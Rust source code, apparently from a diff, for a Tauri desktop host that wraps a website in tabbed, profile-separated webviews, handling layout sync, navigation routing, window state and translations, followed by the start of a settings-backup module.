/// Wait for the shell's `shell_ready` command before showing the first window.
pub defer_window_show: bool,
/// The shell draws the titlebar (Windows/Linux: frameless; macOS: an overlay titlebar with the
/// traffic lights over the shell). Off: the OS frame, for a shell without one.
pub custom_titlebar: bool,
/// Register the deep-link plugin (`plugins.deep-link` in tauri.conf.json: install links).
pub deep_link: bool,
/// Register the updater plugin (`plugins.updater` in tauri.conf.json: endpoint and key).
pub updater: bool,
/// The language strings site tabs receive (key prefixes, e.g. `["x.", "kit.", "plugin."]`).
pub page_string_prefixes: &'static [&'static str],
}
impl AppConfig {
/// The defaults: 1360x900 (at least 900x560), a near-black background, the shell's own
/// titlebar, no deep links or updater, the UI kit's and plugins' strings for site tabs.
pub const fn new(site: &'static SiteSpec, title: &'static str) -> Self {
Self {
site,
title,
legacy_identifier: None,
window_size: (1360.0, 900.0),
min_window_size: (900.0, 560.0),
background: (7, 8, 12),
defer_window_show: false,
custom_titlebar: true,
deep_link: false,
updater: false,
page_string_prefixes: &["kit.", "plugin."],
}
}
}
/// A tab webview about to be created ([`SiteHooks::init_scripts`]).
pub struct NewTab<'a> {
pub id: &'a str,
/// `tab-<id>`
pub label: &'a str,
/// Its account profile (fixed for the webview's life).
pub profile: &'a str,
/// The shell's layout entry it is created for (role, navigation rail, ...).
pub item: &'a TabLayout,
}
/// Why a tab webview was closed ([`SiteHooks::tab_closed`]).
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum TabClosed {
/// Its tab moved to another account profile: a fresh webview replaces it.
Replaced,
/// Its tab is gone.
Removed,
}
/// What only the app knows. Every method has a harmless default except the page scripts.
/// Called without any host lock held, so an implementation may use the host's helpers.
pub trait SiteHooks: Send + Sync + 'static {
/// The document-start scripts of a new tab webview, in order, the tab bridge included
/// (`waybetter_host::bridge`), then the app's page runtime.
fn init_scripts(&self, app: &AppHandle, tab: &NewTab) -> Vec<String>;
/// The new tab webview's background until the page paints.
fn tab_background(&self, _app: &AppHandle, _label: &str) -> Option<tauri::window::Color> {
None
}
/// The URL a navigation to `url` should load instead (legacy domains), if any.
fn canonical_url(&self, _url: &Url) -> Option<Url> {
None
}
/// Pages that stay "on the site" for link routing besides its exact origin (login routes).
fn site_navigation(&self, _url: &Url) -> bool {
false
}
/// A navigation starts in tab `label`. Returns whether links to other sites go to the
/// system browser (the owner's setting), or None when the app's state is unavailable (the
/// navigation is refused).
fn navigation_started(&self, _app: &AppHandle, _label: &str) -> Option<bool> {
Some(false)
}
/// Where a new-window request (target=_blank, window.open) for `url` opens: "tab", "pane" or
/// "browser".
fn new_window_mode(&self, _app: &AppHandle, _url: &Url) -> String {
"tab".into()
}
/// A new document started loading in `tab`.
fn page_started(&self, _app: &AppHandle, _tab: &Webview) {}
/// A document on the site finished loading in `tab` (evaluate settings, plugins, themes).
fn site_page_loaded(&self, _app: &AppHandle, _tab: &Webview, _url: &Url) {}
/// A tab webview was created.
fn tab_created(&self, _app: &AppHandle) {}
/// `tab` was laid out for `item` (existing or new), before it is placed.
fn tab_placed(&self, _app: &AppHandle, _tab: &Webview, _item: &TabLayout) {}
/// Every tab's placement after a layout: (id, rect, visible).
fn layout_changed(&self, _app: &AppHandle, _layout: &[(String, layout::Rect, bool)]) {}
/// A tab webview was closed: forget the app's per-tab state.
fn tab_closed(&self, _app: &AppHandle, _label: &str, _why: TabClosed) {}
/// The shell was raised above the tabs (`on`) or lowered again.
fn shell_raised(&self, _app: &AppHandle, _on: bool) {}
}
/// The account profiles and which profile each open tab webview belongs to.
#[derive(Debug, Default)]
pub struct ProfileState {
pub settings: ProfileSettings,
/// Tab webview label -> the profile its WebView data directory belongs to.
pub tab_profiles: HashMap<String, String>,
}
struct Profiles(Mutex<ProfileState>);
struct Strings(Mutex<NativeStrings>);
struct Host {
config: AppConfig,
hooks: Arc<dyn SiteHooks>,
}
fn host_state(app: &AppHandle) -> tauri::State<'_, Host> {
app.state::<Host>()
}
/// The app's config ([`run_app`] must be running).
pub fn config(app: &AppHandle) -> AppConfig {
host_state(app).config
}
/// The profiles lock. Never call an app hook while holding it.
pub fn profiles(app: &AppHandle) -> Result<MutexGuard<'_, ProfileState>, String> {
app.try_state::<Profiles>()
.ok_or("DATABASE: workspace state unavailable; restart safely")?
.inner()
.0
.lock()
.map_err(|_| "DATABASE: workspace state unavailable; restart safely".into())
}
/// The profile tab webview `label` belongs to.
pub fn tab_profile(app: &AppHandle, label: &str) -> Option<String> {
profiles(app).ok()?.tab_profiles.get(label).cloned()
}
/// A tab reported the account the site shows in it. Recorded only for that webview's own profile
/// (validated by the site's [`crate::site::AccountRules`]); the shell hears about a change. The
/// caller checks the webview is on the site right now.
pub fn account_seen(app: &AppHandle, label: &str, seen: AccountSeen) -> Result<(), String> {
let site = config(app).site;
let changed = {
let mut data = profiles(app)?;
let profile = data.tab_profiles.get(label).cloned();
match profile {
Some(profile) if data.settings.observe(&profile, seen, &site.accounts) => Some(data.settings.clone()),
_ => None,
}
};
if let Some(settings) = changed {
write_json(app, PROFILES_FILE, &settings)?;
emit_shell(app, tabs::EVENT_PROFILES_CHANGED, settings);
}
Ok(())
}
/// Opens an http(s) or mailto link in the system browser / mail app; other schemes are dropped.
pub fn open_external(app: &AppHandle, url: &Url) {
if matches!(url.scheme(), "http" | "https" | "mailto") {
let _ = app.opener().open_url(url.as_str(), None::<&str>);
}
}
/// Shows a native OS notification under the app's name.
pub fn notify(app: &AppHandle, title: &str, body: &str) {
crate::alerts::notify(app, config(app).site.product, title, body);
}
fn with_strings<T>(app: &AppHandle, f: impl FnOnce(&NativeStrings) -> T) -> Option<T> {
let state = app.try_state::<Strings>()?;
let strings = state.0.lock().ok()?;
Some(f(&strings))
}
/// The native string `key` in the owner's language, or the compiled-in English `fallback`.
pub fn tr(app: &AppHandle, key: &str, fallback: &str) -> String {
with_strings(app, |strings| strings.get(key, fallback).to_owned()).unwrap_or_else(|| fallback.to_owned())
}
/// [`tr`] with `{name}` placeholders filled in (values are plain text).
pub fn trf(app: &AppHandle, key: &str, fallback: &str, params: &[(&str, &str)]) -> String {
with_strings(app, |strings| strings.format(key, fallback, params))
.unwrap_or_else(|| NativeStrings::default().format(key, fallback, params))
}
/// The script handing a site tab its strings ([`AppConfig::page_string_prefixes`]), guarded to
/// the site's origin ([`i18n::page_script`]). Evaluate it at document start and on every load.
pub fn i18n_page_script(app: &AppHandle) -> String {
let config = config(app);
let payload = with_strings(app, |strings| strings.page_payload(config.page_string_prefixes))
.unwrap_or_else(|| serde_json::json!({ "locale": "en", "dir": "ltr", "messages": {} }));
i18n::page_script(config.site, &payload)
}
/// Whether the shell webview sits above the tab webviews (one of its overlays is open).
static SHELL_RAISED: AtomicBool = AtomicBool::new(false);
/// Whether the shell is raised above the tabs right now (`shell_raise`).
pub fn shell_is_raised() -> bool {
SHELL_RAISED.load(Ordering::SeqCst)
}
fn in_site(site: &SiteSpec, hooks: &dyn SiteHooks, url: &Url) -> bool {
site.is_origin(url) || hooks.site_navigation(url)
}
// ---------------------------------------------------------------------------------------------
// Commands (commands::SHELL, commands::TAB). Each checks its caller first (testkit::assert_host_guards).
/// Reconciles native tab webviews with the shell's panes: creates missing ones, positions and
/// shows/hides all of them, and closes webviews whose tab no longer exists.
#[tauri::command]
async fn tabs_sync(webview: Webview, app: AppHandle, items: Vec<TabLayout>, viewport: Option<[f64; 2]>) -> Result<(), String> {
shell_only(&webview)?;
let hooks = host_state(&app).hooks.clone();
let window = webview.window();
// Kept current by the window's resize events (host::follow_window_resizes): no blocking
// round trips to the event loop on every frame of a drag.
let metrics = host::window_metrics(&window).map_err(|error| format!("TAB: {error}"))?;
let win_size = LogicalSize::new(metrics.width, metrics.height);
let (maximized, frameless) = (metrics.maximized, metrics.frameless);
// Laid out for a window size that is already gone (the window was resized while this was in
// flight): re-based onto the current size like a native resize follow, never shown stale.
let rebase = host::layout_window(&metrics, viewport.map(|[width, height]| (width, height))).and_then(|old| {
let visible: Vec<_> = items.iter().filter(|item| item.visible).map(|item| (item.x, item.y, item.width, item.height)).collect();
layout::Frame::around(&visible, old).map(|frame| (old, frame))
});
let mut keep = HashSet::new();
let mut placed = Vec::new();
for item in items {
if !policy::valid_tab_id(&item.id) {
return Err("VALIDATION: invalid tab id".into());
}
let label = policy::tab_label(&item.id);
let current_profile = {
let data = profiles(&app)?;
if !profiles::valid_profile_id(&item.profile) || !data.settings.contains(&item.profile) {
return Err("VALIDATION: unknown profile".into());
}
data.tab_profiles.get(&label).cloned()
};
keep.insert(item.id.clone());
let (item_x, item_y, item_width, item_height) = match rebase {
Some((old, frame)) => layout::follow_rect((item.x, item.y, item.width, item.height), old, (metrics.width, metrics.height), frame),
None => (item.x, item.y, item.width, item.height),
};
let rect = policy::clamp_tab_rect(item_x, item_y, item_width, item_height, win_size.width, win_size.height, maximized, frameless)
.map_err(|error| error.to_string())?;
// Nothing left after clamping: keep (or create) the tab, but hidden.
let visible = item.visible && rect.is_some();
let (x, y, width, height) = rect.unwrap_or((0.0, policy::TITLEBAR_H, 1.0, 1.0));
let existing = tab_webview(&app, &item.id);
// A webview can never switch data directories: a profile change means a fresh webview,
// and the app's per-tab state goes with the old one.
let existing = match existing {
Some(tab) if current_profile.as_deref() != Some(item.profile.as_str()) => {
host::forget_tab(&app, &label);
let _ = tab.close();
profiles(&app)?.tab_profiles.remove(&label);
hooks.tab_closed(&app, &label, TabClosed::Replaced);
None
}
other => other,
};
let tab = match existing {
Some(tab) => tab,
None => {
let url = parse_web_url(&item.url)?;
let data_dir = app.path().app_local_data_dir().ok().and_then(|local| profiles::data_dir(&local, &item.profile));
if item.profile != profiles::DEFAULT_PROFILE && data_dir.is_none() {
return Err("PROFILE: no local data directory".into());
}
// Reserve the profile before the webview exists, re-checked under the lock that
// profiles_set holds, so a concurrent removal cannot delete its folder under it.
{
let mut data = profiles(&app)?;
if !data.settings.contains(&item.profile) {
return Err("VALIDATION: unknown profile".into());
}
data.tab_profiles.insert(label.clone(), item.profile.clone());
}
if let Some(dir) = &data_dir {
if let Err(error) = std::fs::create_dir_all(dir) {
profiles(&app)?.tab_profiles.remove(&label);
return Err(format!("PROFILE: {error}"));
}
}
let new_tab = NewTab { id: &item.id, label: &label, profile: &item.profile, item: &item };
let builder = tab_builder(&app, &hooks, &new_tab, url, data_dir);
// The site's page color until it paints (never the WebView's white).
let builder = match hooks.tab_background(&app, &label) {
Some(color) => builder.background_color(color),
None => builder,
};
match window.add_child(builder, LogicalPosition::new(x, y), LogicalSize::new(width, height)) {
Ok(tab) => {
hooks.tab_created(&app);
// A new child webview starts on top: keep a raised shell above it.
if shell_is_raised() {
host::raise_shell(&webview, true);
}
tab
}
Err(error) => {
profiles(&app)?.tab_profiles.remove(&label);
return Err(format!("TAB: {error}"));
}
}
}
};
hooks.tab_placed(&app, &tab, &item);
host::place_tab(&tab, (x, y, width, height), visible, item.parked || rect.is_none());
placed.push((item.id.clone(), (x, y, width, height), visible));
}
host::layout_placed(&metrics);
hooks.layout_changed(&app, &placed);
for existing in window.webviews() {
if let Some(id) = policy::tab_id(existing.label()) {
if !keep.contains(id) {
let label = existing.label().to_owned();
host::forget_tab(&app, &label);
let _ = existing.close();
if let Ok(mut data) = profiles(&app) {
data.tab_profiles.remove(&label);
}
hooks.tab_closed(&app, &label, TabClosed::Removed);
}
}
}
Ok(())
}
/// Shows the native window system menu (Restore, Move, Size, Minimize, Maximize, Close) at a
/// screen position, for a right-click on the custom titlebar. No-op outside Windows.
#[tauri::command]
fn window_system_menu(webview: Webview, x: f64, y: f64) -> Result<(), String> {
shell_only(&webview)?;
host::system_menu(&webview, x, y)
}
#[tauri::command]
async fn tab_navigate(webview: Webview, app: AppHandle, id: String, url: String) -> Result<(), String> {
shell_only(&webview)?;
host::navigate_tab(&app, &id, &url)
}
/// back | forward | reload | stop | focus
#[tauri::command]
async fn tab_action(webview: Webview, app: AppHandle, id: String, action: String) -> Result<(), String> {
shell_only(&webview)?;
host::tab_action(&app, &id, &action)
}
/// Gives keyboard focus back to the shell (e.g. Ctrl+L pressed inside a tab).
#[tauri::command]
async fn shell_focus(webview: Webview) -> Result<(), String> {
shell_only(&webview)?;
webview.set_focus().map_err(|error| format!("FOCUS: {error}"))
}
/// The shell calls this after its first DOM commit, so startup never exposes an empty webview.
#[tauri::command]
async fn shell_ready(webview: Webview, app: AppHandle) -> Result<(), String> {
shell_only(&webview)?;
app.get_window(policy::MAIN_LABEL)
.ok_or("WINDOW: main window missing")?
.show()
.map_err(|error| format!("WINDOW: {error}"))
}
/// The shell has committed a captured tab frame; its native webview can now be hidden.
#[tauri::command]
async fn tab_still_ready(webview: Webview, app: AppHandle, id: String, token: u64) -> Result<(), String> {
shell_only(&webview)?;
if !policy::valid_tab_id(&id) { return Err("VALIDATION: invalid tab id".into()); }
host::acknowledge_still(&app, &id, token);
Ok(())
}
/// Raises the shell above the tab webviews while one of its overlays (menu, dialog, palette,
/// drag) is open, so the panes stay on screen under it, or lowers it again. Returns whether this
/// platform can; when not, the shell hides the tabs for the overlay instead.
#[tauri::command]
async fn shell_raise(webview: Webview, app: AppHandle, on: bool) -> Result<bool, String> {
shell_only(&webview)?;
if on {
host_state(&app).hooks.shell_raised(&app, on);
}
SHELL_RAISED.store(on, Ordering::SeqCst);
Ok(host::raise_shell(&webview, on))
}
#[tauri::command]
async fn open_external_url(webview: Webview, app: AppHandle, url: String) -> Result<(), String> {
shell_only(&webview)?;
let url = parse_web_url(&url)?;
app.opener().open_url(url.as_str(), None::<&str>).map_err(|error| format!("OPEN: {error}"))
}
#[tauri::command]
async fn profiles_get(webview: Webview, app: AppHandle) -> Result<ProfileSettings, String> {
shell_only(&webview)?;
Ok(profiles(&app)?.settings.clone())
}
/// Saves the profile list (add, rename, recolor, switch active, remove). A removed profile must
/// have no open tab; its WebView data directory (that account's login) is then deleted.
#[tauri::command]
async fn profiles_set(webview: Webview, app: AppHandle, settings: ProfileSettings) -> Result<ProfileSettings, String> {
shell_only(&webview)?;
let site = config(&app).site;
let settings = settings.validated(&site.accounts)?;
// One lock for check + save + swap: tabs_sync reserves a tab's profile under the same lock,
// so no tab can start in a profile between this check and its data folder being deleted.
let (settings, removed) = {
let mut data = profiles(&app)?;
// Accounts are what the tabs saw, never what the shell sends.
let settings = settings.keep_accounts_from(&data.settings);
let removed = data.settings.removal(&settings, data.tab_profiles.values())?;
write_json(&app, PROFILES_FILE, &settings)?;
data.settings = settings.clone();
(settings, removed)
};
host::remove_profile_dirs(&app, site, &removed);
Ok(settings)
}
#[derive(Serialize)]
#[serde(rename_all = "camelCase")]
struct LanguageInfo {
/// `site`, `system`, a locale tag, or empty before the shell ever chose.
preference: String,
locale: String,
/// The OS language preferences, most preferred first.
system: Vec<String>,
}
/// The saved language choice and the OS languages.
#[tauri::command]
async fn i18n_get(webview: Webview, app: AppHandle) -> Result<LanguageInfo, String> {
shell_only(&webview)?;
let (preference, locale) = with_strings(&app, |strings| (strings.preference.clone(), strings.locale.clone())).unwrap_or_default();
Ok(LanguageInfo { preference, locale, system: i18n::system_locales() })
}
/// Shell only: the owner's language and the strings native code and site tabs show in it
/// (validated plain text; site tabs get only [`AppConfig::page_string_prefixes`], as data).
#[tauri::command]
async fn i18n_set(webview: Webview, app: AppHandle, strings: NativeStrings) -> Result<(), String> {
shell_only(&webview)?;
let config = config(&app);
let strings = strings.validated()?;
write_json(&app, I18N_FILE, &strings)?;
let script = i18n::page_script(config.site, &strings.page_payload(config.page_string_prefixes));
{
let state = app.state::<Strings>();
*state.0.lock().map_err(|_| "I18N: language state unavailable")? = strings;
}
host::eval_in_site_tabs(&app, config.site, &script);
Ok(())
}
/// Browser shortcuts pressed while a tab has keyboard focus, forwarded to the shell.
#[tauri::command]
async fn tab_shortcut(webview: Webview, app: AppHandle, shortcut: String) -> Result<(), String> {
let id = tab_only(&webview)?;
host::forward_shortcut(&app, id, shortcut)
}
/// A link drag started in this tab (`start`, with the dragged http(s) link), an external link drag
/// entered it (`enter`), or this tab's drag ended (`end`). The shell then hides the tab webviews
/// and shows its drop zones; the link only ever opens as a new tab, like `window.open`.
#[tauri::command]
async fn tab_link_drag(webview: Webview, app: AppHandle, phase: String, url: Option<String>) -> Result<(), String> {
let id = tab_only(&webview)?;
host::forward_link_drag(&app, id, phase, url)
}
// ---------------------------------------------------------------------------------------------
// Tab webviews
/// Linux: the page-level part of a tab's `on_navigation`, run when the main frame starts loading
/// `url` (WebKitGTK's navigation callback cannot tell iframes from the page). Returns false when
/// the load was redirected (a legacy domain) or stopped and handed to the browser.
fn main_frame_started(app: &AppHandle, site: &SiteSpec, hooks: &dyn SiteHooks, tab: &Webview, url: &Url) -> bool {
static ON_SITE: std::sync::OnceLock<Mutex<HashMap<String, bool>>> = std::sync::OnceLock::new();
if let Some(site_url) = hooks.canonical_url(url) {
let tab = tab.clone();
std::thread::spawn(move || {
let _ = tab.navigate(site_url);
});
return false;
}
let Some(external_browser) = hooks.navigation_started(app, tab.label()) else { return false };
let mut on_site = ON_SITE.get_or_init(Default::default).lock().unwrap_or_else(|poisoned| poisoned.into_inner());
let was_on_site = on_site.get(tab.label()).copied().unwrap_or(false);
if external_browser && was_on_site && matches!(url.scheme(), "http" | "https") && !in_site(site, hooks, url) {
open_external(app, url);
let _ = tab.eval("window.stop()");
return false;
}
on_site.insert(tab.label().to_owned(), site.is_origin(url));
true
}
/// A new tab webview: its profile's data directory, the app's document-start scripts, and the
/// navigation, pop-up, load, title and download handling every wayBetter tab gets.
fn tab_builder(app: &AppHandle, hooks: &Arc<dyn SiteHooks>, tab: &NewTab, url: Url, data_dir: Option<PathBuf>) -> WebviewBuilder<Wry> {
let site = config(app).site;
let tab_id = tab.id.to_owned();
let (nav_app, nav_id, nav_hooks) = (app.clone(), tab_id.clone(), hooks.clone());
let (new_app, new_id, new_hooks) = (app.clone(), tab_id.clone(), hooks.clone());
let (load_app, load_id, load_hooks) = (app.clone(), tab_id.clone(), hooks.clone());
let (title_app, title_id) = (app.clone(), tab_id);
let mut builder = WebviewBuilder::new(tab.label, WebviewUrl::External(url));
// Non-default profiles get their own cookie/storage jar; the default keeps the existing one.
if let Some(dir) = data_dir {
builder = builder.data_directory(dir);
#[cfg(target_os = "macos")]
{
builder = builder.data_store_identifier(profiles::store_identifier(tab.profile));
}
}
for script in hooks.init_scripts(app, tab) {
builder = builder.initialization_script(script);
}
builder
// HTML5 drag and drop in the page: link drags out of it (split/tab drop zones in the shell)
// and the site's own file drops, instead of wry's OS file-drop handler (which refuses links).
.disable_drag_drop_handler()
.on_navigation(move |url| {
let app = &nav_app;
if !matches!(url.scheme(), "http" | "https") {
// about:blank and similar internal documents are fine; other schemes go to the OS.
if url.scheme() == "about" {
return true;
}
// WebKitGTK: possibly an iframe's own document (see below).
if cfg!(target_os = "linux") && matches!(url.scheme(), "blob" | "data") {
return true;
}
open_external(app, url);
return false;
}
// WebKitGTK asks this for iframe navigations too, without saying which frame (WebView2
// asks only for the page): a signed-out page embedding a sign-in iframe would get that
// iframe's URL as the tab's address. On Linux the page-level work below runs from
// on_page_load (Started), which is the main frame only.
if cfg!(target_os = "linux") {
return true;
}
if let Some(site_url) = nav_hooks.canonical_url(url) {
if let Some(tab) = tab_webview(app, &nav_id) {
std::thread::spawn(move || {
let _ = tab.navigate(site_url);
});
}
return false;
}
let Some(external_browser) = nav_hooks.navigation_started(app, &policy::tab_label(&nav_id)) else { return false };
let on_site = tab_webview(app, &nav_id).and_then(|tab| tab.url().ok()).is_some_and(|current| site.is_origin(&current));
if external_browser && on_site && !in_site(site, &*nav_hooks, url) {
open_external(app, url);
return false;
}
emit_tab_state(app, TabState { id: nav_id.clone(), url: Some(url.to_string()), loading: Some(true), ..Default::default() });
true
})
.on_new_window(move |url, _| {
let app = &new_app;
if !matches!(url.scheme(), "http" | "https") {
open_external(app, &url);
return NewWindowResponse::Deny;
}
let url = new_hooks.canonical_url(&url).unwrap_or(url);
let mode = new_hooks.new_window_mode(app, &url);
if mode == "browser" {
open_external(app, &url);
} else {
emit_shell(
app,
tabs::EVENT_TAB_OPEN,
OpenRequest { url: url.to_string(), from: Some(new_id.clone()), background: false, beside: mode == "pane" },
);
}
NewWindowResponse::Deny
})
.on_page_load(move |tab, payload| {
let app = &load_app;
if cfg!(target_os = "linux")
&& matches!(payload.event(), PageLoadEvent::Started)
&& !main_frame_started(app, site, &*load_hooks, &tab, payload.url())
{
return;
}
let finished = matches!(payload.event(), PageLoadEvent::Finished);
if !finished {
load_hooks.page_started(app, &tab);
}
emit_tab_state(app, TabState { id: load_id.clone(), url: Some(payload.url().to_string()), loading: Some(!finished), ..Default::default() });
if finished && site.is_origin(payload.url()) {
load_hooks.site_page_loaded(app, &tab, payload.url());
}
})
.on_document_title_changed(move |_, title| {
emit_tab_state(&title_app, TabState { id: title_id.clone(), title: Some(title), ..Default::default() });
})
.on_download(|_, event| match event {
// Ordinary browser downloads land in the user's Downloads folder.
DownloadEvent::Requested { .. } => true,
_ => true,
})
}
// ---------------------------------------------------------------------------------------------
// The app
/// What the window-state plugin saves and restores: never DECORATIONS (a state file from a framed
/// build would re-enable the OS frame) or VISIBLE (the window is shown once it is placed).
pub fn window_state_flags() -> tauri_plugin_window_state::StateFlags {
use tauri_plugin_window_state::StateFlags;
StateFlags::all() - StateFlags::DECORATIONS - StateFlags::VISIBLE
}
/// A window state saved while the window was minimized (Windows parks it at -32000,-32000 with a
/// caption-sized rectangle) or on a monitor that is gone comes back as a tiny, off-screen window
/// in which nothing works. Such geometry is replaced by `size`, centered.
pub fn reset_lost_geometry(window: &tauri::Window, size: (f64, f64), min: (f64, f64)) {
let Ok(scale) = window.scale_factor() else { return };
let too_small = window
.inner_size()
.map(|size| size.to_logical::<f64>(scale))
.is_ok_and(|size| size.width < min.0 || size.height < min.1);
let off_screen = match (window.outer_position(), window.outer_size(), window.available_monitors()) {
(Ok(position), Ok(size), Ok(monitors)) => !monitors.iter().any(|monitor| {
let (mp, ms) = (monitor.position(), monitor.size());
// At least a 120 px square of the window must be on some monitor.
let overlap_x = (position.x + size.width as i32).min(mp.x + ms.width as i32) - position.x.max(mp.x);
let overlap_y = (position.y + size.height as i32).min(mp.y + ms.height as i32) - position.y.max(mp.y);
overlap_x >= 120 && overlap_y >= 120
}),
_ => false,
};
if too_small || off_screen {
let _ = window.set_size(LogicalSize::new(size.0, size.1));
let _ = window.center();
}
}
/// The host's commands ([`commands::SHELL`], [`commands::TAB`]).
fn host_handler() -> impl Fn(tauri::ipc::Invoke<Wry>) -> bool + Send + Sync + 'static {
tauri::generate_handler![
tabs_sync,
tab_navigate,
tab_action,
open_external_url,
shell_focus,
shell_ready,
tab_still_ready,
shell_raise,
window_system_menu,
profiles_get,
profiles_set,
i18n_get,
i18n_set,
tab_shortcut,
tab_link_drag
]
}
type Setup = Box<dyn FnOnce(&AppHandle) -> Result<(), Box<dyn std::error::Error>> + Send>;
/// The app builder: config, site hooks, the app's own setup, then [`App::run`].
pub struct App {
config: AppConfig,
hooks: Arc<dyn SiteHooks>,
setup: Option<Setup>,
}
impl App {
pub fn new(config: AppConfig, hooks: impl SiteHooks) -> Self {
Self { config, hooks: Arc::new(hooks), setup: None }
}
/// The app's own setup (open its database, `manage` its state), run after the host's (app
/// data folder, profiles, language) and before the window exists.
pub fn setup(mut self, setup: impl FnOnce(&AppHandle) -> Result<(), Box<dyn std::error::Error>> + Send + 'static) -> Self {
self.setup = Some(Box::new(setup));
self
}
/// Runs the app: `context` is `tauri::generate_context!()` and `handler` the app's own
/// `tauri::generate_handler![...]` (the host serves [`commands::SHELL`] and [`commands::TAB`]).
pub fn run<H>(self, context: tauri::Context<Wry>, handler: H)
where
H: Fn(tauri::ipc::Invoke<Wry>) -> bool + Send + Sync + 'static,
{
let App { config, hooks, setup } = self;
let host_handler = host_handler();
let builder = tauri::Builder::<Wry>::default()
// Must be first: a second launch focuses the running window instead of fighting over
// the app's data and WebView profile (and hands over its link).
.plugin(tauri_plugin_single_instance::init(|app, _, _| {
if let Some(window) = app.get_window(policy::MAIN_LABEL) {
let _ = window.unminimize();
let _ = window.show();
let _ = window.set_focus();
}
}));
// Install links (after single-instance, which forwards a second launch's link).
let builder = if config.deep_link { builder.plugin(tauri_plugin_deep_link::init()) } else { builder };
let builder = builder
.plugin(tauri_plugin_window_state::Builder::default().with_state_flags(window_state_flags()).build())
.plugin(tauri_plugin_opener::init());
// No capability grants the updater/process JS APIs; only Rust drives them.
let builder = if config.updater { builder.plugin(tauri_plugin_updater::Builder::new().build()) } else { builder };
builder
.plugin(tauri_plugin_process::init())
.plugin(tauri_plugin_notification::init())
.plugin(tauri_plugin_dialog::init())
.setup(move |tauri_app| {
let handle = tauri_app.handle().clone();
let site = config.site;
if let Some(legacy) = config.legacy_identifier {
host::migrate_identifier(&handle, site, legacy);
}
let directory = tauri_app.path().app_data_dir()?;
std::fs::create_dir_all(&directory)?;
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&directory, std::fs::Permissions::from_mode(0o700))?;
}
let settings = read_json::<ProfileSettings>(&handle, PROFILES_FILE)
.and_then(|settings| settings.validated(&site.accounts).ok())
.unwrap_or_default();
host::prune_profile_dirs(&handle, &settings);
tauri_app.manage(Profiles(Mutex::new(ProfileState { settings, tab_profiles: HashMap::new() })));
let strings = read_json::<NativeStrings>(&handle, I18N_FILE).and_then(|strings| strings.validated().ok()).unwrap_or_default();
tauri_app.manage(Strings(Mutex::new(strings)));
tauri_app.manage(Host { config, hooks });
if let Some(setup) = setup {
setup(&handle)?;
}
open_window(tauri_app, &config)
})
.invoke_handler(move |invoke| {
if commands::is_host(invoke.message.command()) {
host_handler(invoke)
} else {
handler(invoke)
}
})
.run(context)
.unwrap_or_else(|error| panic!("Failed to launch {}: {error}", config.title));
}
}
/// [`App::new`] + [`App::setup`] + [`App::run`] in one call.
pub fn run_app<H>(
config: AppConfig,
hooks: impl SiteHooks,
setup: impl FnOnce(&AppHandle) -> Result<(), Box<dyn std::error::Error>> + Send + 'static,
context: tauri::Context<Wry>,
handler: H,
) where
H: Fn(tauri::ipc::Invoke<Wry>) -> bool + Send + Sync + 'static,
{
App::new(config, hooks).setup(setup).run(context, handler)
}
/// The main window (frameless on Windows/Linux, overlay titlebar on macOS) with the shell
/// webview filling it, shown once its saved geometry is restored.
fn open_window(app: &mut tauri::App<Wry>, config: &AppConfig) -> Result<(), Box<dyn std::error::Error>> {
let (r, g, b) = config.background;
let builder = tauri::window::WindowBuilder::new(app, policy::MAIN_LABEL)
.title(config.title)
.inner_size(config.window_size.0, config.window_size.1)
// The titlebar needs room for the logo, a few tabs and the caption buttons.
.min_inner_size(config.min_window_size.0, config.min_window_size.1)
// The shell draws its own titlebar (Windows 11: DWM shadow and rounded corners).
.decorations(!config.custom_titlebar)
.shadow(true)
// No white flash before the shell paints.
.background_color(tauri::window::Color(r, g, b, 255))
.resizable(true)
// Shown after the saved geometry is restored.
.visible(false);
// macOS keeps the native frame with an overlay titlebar and traffic lights.
// (`traffic_light_position` is not on the multiwebview WindowBuilder in tauri 2.12.)
#[cfg(target_os = "macos")]
let builder = if config.custom_titlebar {
builder.decorations(true).title_bar_style(tauri::TitleBarStyle::Overlay).hidden_title(true)
} else {
builder
};
let window = builder.build()?;
{
use tauri_plugin_window_state::WindowExt;
// Never DECORATIONS: a state file from a framed build would re-enable the OS frame.
let _ = window.restore_state(window_state_flags());
}
reset_lost_geometry(&window, config.window_size, config.min_window_size);
// `taskkill` (and anything else closing "the first visible window") must close the app
// even when a minimized window sits below the runtime's helper windows.
host::route_helper_closes(&window);
// Tab webviews follow window resizes natively, before the shell lays out again.
host::follow_window_resizes(&window);
let size = window.inner_size()?.to_logical::<f64>(window.scale_factor()?);
// The shell fills the window; tab webviews are layered over its pane rectangles.
let shell = WebviewBuilder::new(policy::SHELL_LABEL, WebviewUrl::App("index.html".into()))
.auto_resize()
// HTML5 drag and drop (tab dragging, split drop zones) instead of OS file drops.
.disable_drag_drop_handler()
.on_navigation(|url| policy::local_navigation_allowed(url, cfg!(debug_assertions)))
.on_new_window(|_, _| NewWindowResponse::Deny);
// Raised over the tabs for an overlay (`shell_raise`), the page is see-through where the
// panes are; otherwise its own background paints as before. (macOS: `macos-private-api`.)
#[cfg(any(not(target_os = "macos"), feature = "macos-private-api"))]
let shell = shell.transparent(true);
let shell = window.add_child(shell, LogicalPosition::new(0.0, 0.0), LogicalSize::new(size.width, size.height))?;
host::attach_shell(&shell);
if config.defer_window_show {
// A shell that opts in shows the window after initial layout and sync. If JS fails to
// start, make the failure visible rather than leaving a hidden process.
let fallback = window.clone();
std::thread::spawn(move || {
std::thread::sleep(std::time::Duration::from_secs(3));
if fallback.is_visible().is_ok_and(|visible| !visible) {
let _ = fallback.show();
}
});
} else {
window.show()?;
}
Ok(())
}

View file

@ -0,0 +1,290 @@
//! Settings backup: the versioned `.waybetter` JSON envelope, its import-side checks and the
//! sections every wayBetter app has (plugins, custom CSS, the account list). The app registers the
//! rest: which sections exist ([`parse_backup`] keeps only those) and how its own files map to
//! them. Pure (an app-data directory in, JSON out), unit-tested headless.
//!
//! Never included by these helpers: WebView profile folders (cookies, site sessions, local
//! storage), signing or sync keys, update state. [`strip_secrets`] removes secret-looking keys
//! from whatever is exported or imported as a second line of defence.
use crate::plugins::{valid_file_name, MAX_PLUGIN_BYTES};
use crate::profiles::{DEFAULT_COLOR, DEFAULT_PROFILE};
use serde::{Deserialize, Serialize};
use serde_json::{json, Map, Value};
use std::fs;
use std::path::Path;
pub const FORMAT: &str = "waybetter-backup";
pub const VERSION: u32 = 1;
pub const EXTENSION: &str = "waybetter";
/// Largest backup file accepted for import.
